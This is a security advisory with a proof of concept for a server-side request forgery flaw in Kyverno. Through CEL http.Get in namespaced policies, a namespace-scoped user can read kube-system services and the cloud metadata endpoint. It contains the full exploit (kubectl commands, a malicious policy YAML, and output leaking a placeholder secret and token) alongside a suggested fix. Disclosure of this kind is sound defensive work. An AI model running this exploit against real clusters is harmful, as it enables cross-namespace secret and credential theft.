Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access

2. Create sensitive internal service (simulating internal API or cloud metadata)

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: internal-api
  namespace: kube-system
  labels:
    app: internal-api
spec:
  containers:
  - name: server
    image: hashicorp/http-echo
    args:
      - "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}"
      - "-listen=:8080"
---
apiVersion: v1
kind: Service
metadata:
  name: internal-api
  namespace: kube-system
spec:
  selector:
    app: internal-api
  ports:
  - port: 80
    targetPort: 8080
EOF

3. Verify attacker cannot access kube-system directly

kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin
# Output: no

4. Create malicious NamespacedValidatingPolicy (as attacker)

cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
  name: cel-ssrf-poc
  namespace: attacker-ns
spec:
  matchConstraints:
    resourceRules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE"]
        resources: ["configmaps"]
  variables:
    - name: stolenData
      expression: |
        http.Get('http://internal-api.kube-system.svc.cluster.local')
  validations:
    - expression: "false"
      message: "Validation failed"
      messageExpression: |
        'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token']
EOF

5. Trigger exploit and exfiltrate data

kubectl create configmap trigger --from-literal=x=y -n attacker-ns \
  --as=system:serviceaccount:attacker-ns:namespace-admin

6. Result - Secret data exfiltrated

error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail" 
denied the request: Policy cel-ssrf-poc failed: 
SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Impact

1. Cross-namespace data access: Users with only namespace-scoped permissions can access services in any namespace
2. Cloud credential theft: Access to http://169.254.169.254/... allows stealing AWS/GCP/Azure IAM credentials
3. Data exfiltration: HTTP response data exposed via validation error messages or audit annotations
4. Breaks namespace isolation: Inconsistent with Kyverno's security model where resource.Lib enforces namespace boundaries

Affected Policies

All CEL-based namespaced policies in policies.kyverno.io API group:

• NamespacedValidatingPolicy
• NamespacedMutatingPolicy
• NamespacedDeletingPolicy
• NamespacedImageValidatingPolicy

Suggested Fix

Add namespace and URL restrictions to pkg/cel/libs/http/http.go, similar to how resource.Lib enforces namespace boundaries:

type lib struct {
    namespace string  // Add namespace parameter
    version   *version.Version
}

func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
    if err := r.validateURL(url); err != nil {
        return nil, fmt.Errorf("blocked URL: %w", err)
    }
    // ... existing code
}

func (r *contextImpl) validateURL(urlStr string) error {
    // Block cloud metadata (169.254.0.0/16)
    // Block localhost/loopback (127.0.0.0/8)
    // For namespaced policies: restrict to same namespace services only
}

Attached kyverno-cel-ssrf-poc.sh

Credit

Discovered by: Igor Stepansky Organization: Orca Security Email: [email protected] Personal Email: [email protected]